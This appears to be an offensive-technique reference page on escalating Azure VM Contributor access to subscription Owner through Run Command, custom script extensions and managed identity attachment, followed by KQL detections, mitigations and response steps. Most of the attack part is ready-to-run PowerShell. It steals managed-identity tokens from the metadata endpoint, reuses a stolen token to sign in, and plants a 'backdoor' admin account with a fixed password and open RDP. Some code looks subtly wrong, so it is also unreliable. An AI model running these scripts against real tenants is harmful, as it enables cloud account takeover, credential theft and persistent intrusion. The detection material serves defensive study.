| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-012 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A (Architectural design flaw in Azure RBAC; mitigated via PIM and conditions) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure subscriptions with Virtual Machines; all VM types (Windows, Linux, IaaS) |
| Patched In | N/A (No patch; requires organizational hardening via PIM, Conditional Access, and RBAC conditions) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Azure Virtual Machine Contributor built-in role is designed to grant permissions to manage virtual machines but explicitly excludes access to the VMs themselves, the storage accounts they use, or the virtual networks they’re connected to. However, the Contributor role includes permissions to execute arbitrary commands on VMs via the Azure Run Command feature (Microsoft.Compute/virtualMachines/runCommand/action) and to manage VM extensions (Microsoft.Compute/virtualMachines/extensions/write), which allow deploying custom scripts. An attacker with Contributor role on a VM can exploit these permissions to: (1) execute commands as SYSTEM (Windows) or root (Linux) on the VM via Run Command, (2) deploy a custom script extension to establish persistent backdoor access, or (3) attach an administrative Managed Identity to the VM and steal its access token to escalate to Owner-level access within the subscription. This creates a direct privilege escalation path from Contributor to Owner without requiring network access to the VM or knowledge of admin credentials.
Attack Surface: Azure Resource Manager (ARM) API endpoints, Azure Portal, Azure CLI/PowerShell, VM Run Command feature, Custom Script Extension deployment, Managed Identity attachment mechanism.
Business Impact: Escalation from Contributor to Owner on subscription scope. An attacker with Contributor role can gain complete control of all resources in the subscription, including: accessing all secrets in Key Vaults, modifying RBAC to create permanent backdoors, creating new resources with elevated managed identities, pivoting to Entra ID Global Admin via service principal creation, or exfiltrating sensitive data from databases and storage accounts.
Technical Context: VM-based privilege escalation occurs with full logging in Azure Activity Log (Event: “Invoke Run Command on Virtual Machine”). Exploitation takes 1-5 minutes once Contributor access is obtained. The attack is reversible (disabling extensions, removing managed identities), but by then secondary persistence mechanisms are typically established. Detection requires real-time alerting on Run Command execution and extension deployment, which many organizations lack.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1 | Ensure that all Azure subscriptions are monitored for unusual activity |
| DISA STIG | AC-2(1) | Account Management – Enforce privileged access management |
| CISA SCuBA | CA-7.1 | Implement and maintain access controls based on least privilege |
| NIST 800-53 | AC-2 | Account Management – Manage information system accounts |
| GDPR | Art. 32(1)(a) | Implement appropriate technical measures for data security |
| DORA | Art. 9 | Protection and Prevention – Controls against ICT incidents |
| NIS2 | Art. 21(1)(a) | Cyber Risk Management – Implement risk management measures |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Unauthorized privilege escalation via VM management |
Supported Versions:
Required Tools:
curl, Invoke-WebRequest (PowerShell), jq# Connect to Azure
Connect-AzAccount
# List all VMs the current user can access (filtered by Contributor role)
Get-AzVM | Where-Object {
$vmRoles = Get-AzRoleAssignment -Scope $_.Id -ErrorAction SilentlyContinue
$vmRoles | Where-Object { $_.RoleDefinitionName -contains "Contributor" }
} | Select-Object -Property Name, ResourceGroupName, @{Name='HasManagedIdentity'; Expression={$_.Identity -ne $null}}
# For each VM with managed identity, check the managed identity's roles
Get-AzVM | Where-Object { $_.Identity } | ForEach-Object {
$vm = $_
Write-Host "VM: $($vm.Name)"
# Get the managed identity's permissions
$identityId = $vm.Identity.PrincipalId
Get-AzRoleAssignment -ObjectId $identityId | Select-Object -Property RoleDefinitionName, Scope
}
What to Look For:
# Check if the current user has Microsoft.Compute/virtualMachines/runCommand/action permission
$vmResourceId = (Get-AzVM -ResourceGroupName "MyResourceGroup" -Name "MyVM").Id
# Test by listing the current permissions
Get-AzRoleAssignment -Scope $vmResourceId | Where-Object { $_.RoleDefinitionName -eq "Contributor" }
# If the role assignment exists, Run Command capability is available
Write-Host "Run Command is available for this VM"
What to Look For:
# Get the VM and check for managed identities
$vm = Get-AzVM -ResourceGroupName "MyResourceGroup" -Name "MyVM"
if ($vm.Identity) {
Write-Host "VM has managed identity:"
Write-Host " Type: $($vm.Identity.Type)"
if ($vm.Identity.Type -contains "UserAssigned") {
Write-Host " User-Assigned Identities:"
foreach ($uamiId in $vm.Identity.UserAssignedIdentities.Keys) {
Write-Host " - $uamiId"
# Get the roles assigned to this UAMI
$uamiPrincipalId = (Get-AzResource -ResourceId $uamiId).ManagedIdentityPrincipalId
$roles = Get-AzRoleAssignment -ObjectId $uamiPrincipalId
$roles | ForEach-Object { Write-Host " Role: $($_.RoleDefinitionName) on $($_.Scope)" }
}
}
if ($vm.Identity.Type -contains "SystemAssigned") {
Write-Host " System-Assigned Identity (PrincipalId): $($vm.Identity.PrincipalId)"
$roles = Get-AzRoleAssignment -ObjectId $vm.Identity.PrincipalId
$roles | ForEach-Object { Write-Host " Role: $($_.RoleDefinitionName) on $($_.Scope)" }
}
}
What to Look For:
Supported Versions: All Azure VMs with Contributor access
Objective: Select a VM with an Owner-level Managed Identity assigned.
Command (PowerShell):
# Get all VMs with owner-level managed identities
Get-AzVM | Where-Object { $_.Identity } | ForEach-Object {
$vm = $_
$identityId = $vm.Identity.PrincipalId
$roles = Get-AzRoleAssignment -ObjectId $identityId
if ($roles | Where-Object { $_.RoleDefinitionName -eq "Owner" }) {
Write-Host "Target VM found: $($vm.Name)"
Write-Host " Managed Identity has Owner role"
Write-Host " ResourceGroup: $($vm.ResourceGroupName)"
}
}
Expected Output:
Target VM found: production-vm-01
Managed Identity has Owner role
ResourceGroup: Production
Objective: Execute arbitrary commands on the VM with elevated privileges.
Command (PowerShell - Windows VM):
# Execute a PowerShell command that steals the managed identity token
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
$scriptContent = @'
# Retrieve the managed identity's access token
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} `
-UseBasicParsing | ConvertFrom-Json
# Save token to a file accessible to the attacker
$token.access_token | Out-File -FilePath "C:\Windows\Temp\msi_token.txt"
Write-Host "Token saved to C:\Windows\Temp\msi_token.txt"
'@
# Execute the script on the VM
$result = Invoke-AzVMRunCommand -ResourceGroupName $vm.ResourceGroupName `
-Name $vm.Name `
-CommandId "RunPowerShellScript" `
-ScriptPath $scriptContent
Write-Host "Run Command Output:"
$result.Value[0].Message
Expected Output:
Run Command Output:
Token saved to C:\Windows\Temp\msi_token.txt
What This Means:
OpSec & Evasion:
Troubleshooting:
The VM status is not running
Start-AzVM -ResourceGroupName "Production" -Name "production-vm-01"The VMAgent is not running on the VM
Objective: Use the stolen token to authenticate to Azure and assume Owner role on subscription.
Command (PowerShell - from attacker machine):
# Retrieve the token from the VM (exfiltrated via SMB, RDP file transfer, etc.)
$accessToken = Get-Content "C:\stolen_token.txt"
# Parse the token to get subscription info
$jwtParts = $accessToken.Split('.')
$payloadJson = [System.Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($jwtParts[1] + '=='))
$payload = $payloadJson | ConvertFrom-Json
Write-Host "Token claims:"
Write-Host " Tenant: $($payload.tid)"
Write-Host " Subject: $($payload.sub)"
Write-Host " Scopes: $($payload.scp)"
# Authenticate to Azure using the stolen token
Connect-AzAccount -AccessToken $accessToken -Tenant $payload.tid -AccountId $payload.sub
# Verify ownership
Get-AzContext
# Now enumerate and modify resources as Owner
Get-AzSubscription
Get-AzResource | Select-Object -Property Name, Type, ResourceGroupName
Expected Output:
Token claims:
Tenant: 22222222-2222-2222-2222-222222222222
Subject: 11111111-1111-1111-1111-111111111111
Scopes: Reader Contributor User.ReadWrite.All
Name Subscription Tenant Environment
---- ---- ------ -----------
<managed-identity> <subscription-id> <tenant-id> AzureCloud
Supported Versions: All Azure VMs
Objective: Deploy a custom script that executes as SYSTEM on the VM and establishes persistence.
Command (PowerShell):
# Prepare the malicious script content
$scriptContent = @'
# This script will be executed as SYSTEM on the VM
Write-Host "Executing as SYSTEM"
# Create a backdoor local admin user (if not already present)
$username = "backdoor"
$password = ConvertTo-SecureString "Backdoor@123!" -AsPlainText -Force
if (-not (Get-LocalUser -Name $username -ErrorAction SilentlyContinue)) {
New-LocalUser -Name $username -Password $password -FullName "Backdoor User" -Description "Maintenance Account" | Out-Null
Add-LocalGroupMember -Group "Administrators" -Member $username
Write-Host "Backdoor user created"
}
# Enable RDP if disabled
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Add firewall rule for RDP
New-NetFirewallRule -DisplayName "Allow RDP" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Allow -Enabled True -ErrorAction SilentlyContinue
Write-Host "RDP enabled and backdoor user configured"
'@
# Save script to a file
$scriptPath = "C:\Temp\malicious_script.ps1"
$scriptContent | Out-File -FilePath $scriptPath
# Get the target VM
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
# Deploy the custom script extension
Set-AzVMExtension -ResourceGroupName $vm.ResourceGroupName `
-VMName $vm.Name `
-Name "CustomScriptExtension" `
-Publisher "Microsoft.Compute" `
-ExtensionType "CustomScriptExtension" `
-TypeHandlerVersion "1.10" `
-SettingString "{`"fileUris`": [`"file://$scriptPath`"], `"commandToExecute`": `"powershell -ExecutionPolicy Unrestricted -File $scriptPath`"}"
Write-Host "Custom Script Extension deployed"
Expected Output:
Custom Script Extension deployed
What This Means:
OpSec & Evasion:
Objective: Use the backdoor admin user to maintain long-term access.
Command (From attacker - RDP to VM):
# Connect via RDP using the backdoor credentials
# mstsc /v:production-vm-01.cloudapp.azure.com /u:backdoor
# Once connected, verify access to the managed identity
Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} `
-UseBasicParsing | ConvertFrom-Json | Select-Object -Property access_token, expires_in
# The token can be exfiltrated for use outside the VM
Supported Versions: All Azure VMs without User-Assigned Managed Identities
Objective: Find a User-Assigned Managed Identity with Owner or Contributor role.
Command (PowerShell):
# List all User-Assigned Managed Identities with high-privilege roles
Get-AzUserAssignedIdentity | ForEach-Object {
$uami = $_
$roles = Get-AzRoleAssignment -ObjectId $uami.PrincipalId
$privilegedRoles = $roles | Where-Object { $_.RoleDefinitionName -in ("Owner", "Contributor", "User Access Administrator") }
if ($privilegedRoles) {
Write-Host "Privileged UAMI found: $($uami.Name)"
Write-Host " Resource Group: $($uami.ResourceGroupName)"
Write-Host " Principal ID: $($uami.PrincipalId)"
$privilegedRoles | ForEach-Object { Write-Host " Role: $($_.RoleDefinitionName) on $($_.Scope)" }
}
}
Expected Output:
Privileged UAMI found: prod-automation-identity
Resource Group: Production
Principal ID: 11111111-1111-1111-1111-111111111111
Role: Owner on /subscriptions/12345678-1234-1234-1234-123456789012
Objective: Assign the privileged UAMI to a VM that the attacker has Contributor access to.
Command (PowerShell):
# Get the privileged UAMI resource ID
$uami = Get-AzUserAssignedIdentity -Name "prod-automation-identity" -ResourceGroupName "Production"
# Get the target VM
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
# Attach the UAMI to the VM
Update-AzVM -ResourceGroupName $vm.ResourceGroupName `
-VM (Get-AzVM -ResourceGroupName $vm.ResourceGroupName -Name $vm.Name | `
Add-AzVMUserAssignedIdentity -IdentityId $uami.Id) | Out-Null
Write-Host "Privileged UAMI attached to VM"
# Verify attachment
$updatedVM = Get-AzVM -ResourceGroupName $vm.ResourceGroupName -Name $vm.Name
$updatedVM.Identity.UserAssignedIdentities
Expected Output:
Privileged UAMI attached to VM
Key Value
--- -----
/subscriptions/.../resourceGroups/Production/providers/Microsoft.ManagedIdentity/userAssignedIdentities/prod-automation-identity Microsoft.Azure.Management.Compute.Models.UserAssignedIdentitiesValue
What This Means:
Objective: Execute commands on the VM to steal the newly attached UAMI’s access token.
Command (PowerShell - Run Command on VM):
# Use Run Command to execute code that steals the Owner-level token
$scriptContent = @'
# Query IMDS for the Owner-level UAMI token
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} `
-UseBasicParsing | ConvertFrom-Json
Write-Host "Owner-level token obtained:"
Write-Host $token.access_token
'@
Invoke-AzVMRunCommand -ResourceGroupName "Production" `
-Name "production-vm-01" `
-CommandId "RunPowerShellScript" `
-ScriptPath $scriptContent
Expected Output:
Owner-level token obtained:
eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...
This technique does not map to Atomic Red Team. Verification requires:
Official Documentation: Azure PowerShell - Virtual Machines
Version: 9.0+ (Latest: 11.x)
Key Commands for VM Privilege Escalation:
Get-AzVM # List VMs
Get-AzRoleAssignment -Scope $vmId # Check VM permissions
Invoke-AzVMRunCommand # Execute commands on VM
Set-AzVMExtension # Deploy custom script extension
Get-AzVMExtension # List VM extensions
Update-AzVM -VM ... Add-AzVMUserAssignedIdentity # Attach managed identity
Key Commands for VM Privilege Escalation:
az vm run-command invoke -g <RG> -n <VM> --command-id RunPowerShellScript --scripts "command" # Execute command
az vm extension set --publisher Microsoft.Compute --name CustomScriptExtension --resource-group <RG> --vm-name <VM> # Deploy extension
az vm identity assign -g <RG> -n <VM> --identities "<UAMI_ID>" # Attach UAMI
Repository: NetSPI/MicroBurst
Installation:
Import-Module .\MicroBurst.psm1
Key Commands:
Invoke-AzureManagedIdentityRoleEnumeration # Enumerate MI roles
Invoke-AzureVMBulkStatus # Check VM status/permissions
Get-AzureRMVMRole # Identify VM with privileged roles
Rule Configuration:
KQL Query:
// Detect VM Run Command execution, especially from non-admin accounts
AzureActivity
| where OperationNameValue == "Microsoft.Compute/virtualMachines/runCommand/action"
| where ActivityStatusValue == "Succeeded"
| extend CallerUserName = tostring(CallerIpAddress)
| extend VMName = tostring(todynamic(Properties).resource)
| extend SubscriptionId = tostring(SubscriptionId)
| extend CallerPrincipalId = tostring(CallerIpAddress)
| summarize Count = count(), FirstExecution = min(TimeGenerated), LastExecution = max(TimeGenerated)
by Caller, VMName, SubscriptionId, ResourceGroup
| where Count >= 1 // Alert on every Run Command execution (or adjust threshold)
| order by FirstExecution desc
What This Detects:
Rule Configuration:
KQL Query:
// Detect Custom Script Extension creation or modification
AzureActivity
| where OperationNameValue in ("Microsoft.Compute/virtualMachines/extensions/write",
"Microsoft.Compute/virtualMachines/extensions/create",
"Microsoft.ClassicCompute/virtualMachines/extensions/write")
| where ActivityStatusValue == "Succeeded"
| extend ExtensionType = tostring(todynamic(Properties).extensionType)
| extend VMName = tostring(todynamic(Properties).resource)
| where ExtensionType == "CustomScriptExtension"
| summarize by TimeGenerated, Caller, VMName, ResourceGroup, OperationNameValue
What This Detects:
Rule Configuration:
KQL Query:
// Detect when a Managed Identity is attached to a VM
AzureActivity
| where OperationNameValue == "Microsoft.Compute/virtualMachines/write"
and tostring(Properties) contains "identity"
| extend VMName = tostring(todynamic(Properties).resource)
| extend IdentityId = tostring(todynamic(Properties).identity)
| summarize by TimeGenerated, Caller, VMName, IdentityId, ResourceGroup
// Correlate with high-privilege identity roles for escalation detection
What This Detects:
Log Source: Security
Trigger: Failed RDP login attempts followed by successful access using newly created account (e.g., “backdoor”)
Filter: LogonType = 10 (RDP) and AccountName = “backdoor”
Manual Configuration Steps (Group Policy):
gpupdate /force on VMsLog Source: Security
Trigger: New firewall rule creation (for RDP access); UAC policy changes
Filter: Target account = “backdoor” or Rule name contains “RDP”
Alert Name: Suspicious script execution detected on virtual machine
Severity: High
Description: A user with Contributor (not Admin) role executed an arbitrary script on a VM, potentially indicating privilege escalation.
Applies To: All VMs with Defender for Servers enabled
Remediation:
Stop-AzVM -ResourceGroupName <RG> -Name <VM># Search for Run Command and Extension creation events
Search-UnifiedAuditLog -Operations "Invoke Run Command on Virtual Machine", "Create or Update Virtual Machine Extension" `
-StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Select-Object @{n='User';e={$_.UserIds}}, @{n='Operation';e={$_.Operations}}, `
@{n='Timestamp';e={$_.CreationDate}}, @{n='Resource';e={$_.ObjectId}} |
Export-Csv -Path "C:\Incident\vm_activity.csv"
Revoke or Restrict Contributor Role on VMs: Only grant Contributor or higher roles to trusted administrators; use Just-In-Time (JIT) access for emergency scenarios.
Applies To Versions: All Azure subscriptions
Manual Steps (Azure Portal):
PowerShell Script to Audit and Restrict:
# Find all Contributor assignments on VMs
Get-AzVM | ForEach-Object {
$vm = $_
$assignments = Get-AzRoleAssignment -Scope $vm.Id | Where-Object { $_.RoleDefinitionName -eq "Contributor" }
foreach ($assignment in $assignments) {
Write-Host "Removing Contributor from: $($assignment.DisplayName) on VM $($vm.Name)"
Remove-AzRoleAssignment -ObjectId $assignment.ObjectId -RoleDefinitionName "Contributor" -Scope $vm.Id -Confirm:$false
}
}
Validation Command:
# Verify no Contributor roles remain on VMs (or only on approved accounts)
Get-AzVM | ForEach-Object {
Get-AzRoleAssignment -Scope $_.Id | Where-Object { $_.RoleDefinitionName -eq "Contributor" }
}
# Expected: No output (or only approved accounts if some Contributor access is necessary)
Implement Privileged Identity Management (PIM) for VM Access: Enforce time-limited, approval-based access instead of standing permissions.
Applies To Versions: All
Manual Steps (Azure Portal):
Validation:
# Verify no permanent Contributor assignments on subscriptions
Get-AzRoleAssignment -RoleDefinitionName "Contributor" | Where-Object { $_.Scope -like "*/subscriptions/*" } | Select-Object -Property DisplayName, Scope
# Expected: Minimal or zero results
Block VM Run Command Execution via Conditional Access: Prevent Contributor-level principals from using Run Command.
Applies To Versions: All
Manual Steps (Custom RBAC Role):
Virtual Machine Contributor (No RunCommand)PowerShell to Create Custom Role:
$customRole = @{
Name = "Virtual Machine Contributor (No RunCommand)"
Description = "Manage VMs without Run Command or Extension permissions"
Actions = @(
"Microsoft.Compute/virtualMachines/read"
"Microsoft.Compute/virtualMachines/write"
"Microsoft.Compute/virtualMachines/delete"
"Microsoft.Compute/virtualMachines/start/action"
"Microsoft.Compute/virtualMachines/restart/action"
"Microsoft.Compute/virtualMachines/stop/action"
)
NotActions = @(
"Microsoft.Compute/virtualMachines/runCommand/*"
"Microsoft.Compute/virtualMachines/extensions/*"
)
AssignableScopes = @("/subscriptions/<SUBSCRIPTION_ID>")
}
New-AzRoleDefinition -Role $customRole | Out-Null
Restrict Managed Identity Assignment to VMs: Prevent users from attaching arbitrary managed identities.
Manual Steps (Azure Policy):
Restrict Managed Identity Assignment to Pre-approved Identities{
"if": {
"allOf": [
{ "field": "type", "equals": "Microsoft.Compute/virtualMachines" },
{ "field": "identity.userAssignedIdentities", "exists": true },
{ "not": { "field": "identity.userAssignedIdentities[*]", "like": "/subscriptions/.../approved-identities/*" } }
]
},
"then": { "effect": "deny" }
}
Monitor and Alert on VM Extension Deployments: Enable real-time alerting for Custom Script Extension creation.
Manual Steps (Sentinel - create detection rule above)
Audit and Disable Unnecessary VM Extensions: Identify and remove any unexpected Custom Script Extensions.
PowerShell Script:
# List all VM extensions across subscription
Get-AzVM | ForEach-Object {
$vm = $_
Get-AzVMExtension -ResourceGroupName $vm.ResourceGroupName -VMName $vm.Name | ForEach-Object {
Write-Host "VM: $($vm.Name), Extension: $($_.Name), Type: $($_.ExtensionType)"
# Flag Custom Script Extensions for review
if ($_.ExtensionType -eq "CustomScriptExtension") {
Write-Host " ⚠️ Custom Script Extension detected - review for legitimacy"
}
}
}
Implement Managed Service Identity (MSI) Role Least Privilege: Ensure VM managed identities have minimal necessary roles.
Manual Steps:
Stop-AzVM -ResourceGroupName <RG> -Name <VM>Command (PowerShell):
# Stop VM
Stop-AzVM -ResourceGroupName "Production" -Name "production-vm-01" -Force
# Disconnect all managed identities
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
$vm.Identity.UserAssignedIdentities.Clear()
Update-AzVM -ResourceGroupName $vm.ResourceGroupName -VM $vm
Command (PowerShell):
# Create disk snapshot for forensics
$vm = Get-AzVM -ResourceGroupName "Production" -Name "production-vm-01"
$disk = Get-AzDisk -ResourceGroupName $vm.ResourceGroupName -DiskName "$($vm.StorageProfile.OsDisk.Name)"
$snapshotConfig = New-AzSnapshotConfig -SourceUri $disk.Id -CreateOption Copy -Location $disk.Location
New-AzSnapshot -ResourceGroupName "Incident-Response" -SnapshotName "forensic-snapshot-$(Get-Date -Format 'yyyyMMddHHmmss')" -Snapshot $snapshotConfig
# Export Activity Log
Get-AzLog -StartTime (Get-Date).AddDays(-30) | Export-Csv -Path "C:\Incident\activity_log.csv"
Command (PowerShell):
# Remove backdoor accounts (if still running)
Invoke-AzVMRunCommand -ResourceGroupName "Production" -Name "production-vm-01" `
-CommandId "RunPowerShellScript" `
-ScriptPath 'Remove-LocalUser -Name "backdoor" -Confirm:$false'
# Revoke compromised Contributor role
Get-AzRoleAssignment -Scope "/subscriptions/<SUBID>" | Where-Object { $_.RoleDefinitionName -eq "Contributor" -and $_.DisplayName -eq "compromised-user" } | Remove-AzRoleAssignment
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes user for Entra ID credentials |
| 2 | Privilege Escalation | [PE-VALID-012] | Escalate from Contributor to Owner via Run Command or UAMI attachment |
| 3 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Create backdoor service principal for long-term access |
| 4 | Data Exfiltration | [CA-UNSC-007] Azure Key Vault Secret Extraction | Dump all secrets from Key Vaults |
| 5 | Lateral Movement | [LM-AUTH-005] Service Principal Key/Certificate | Escalate to Entra ID Global Admin via service principal |
This technique directly violates:
Organizations must enforce PIM, restrict Run Command permissions, and implement real-time alerting to maintain compliance.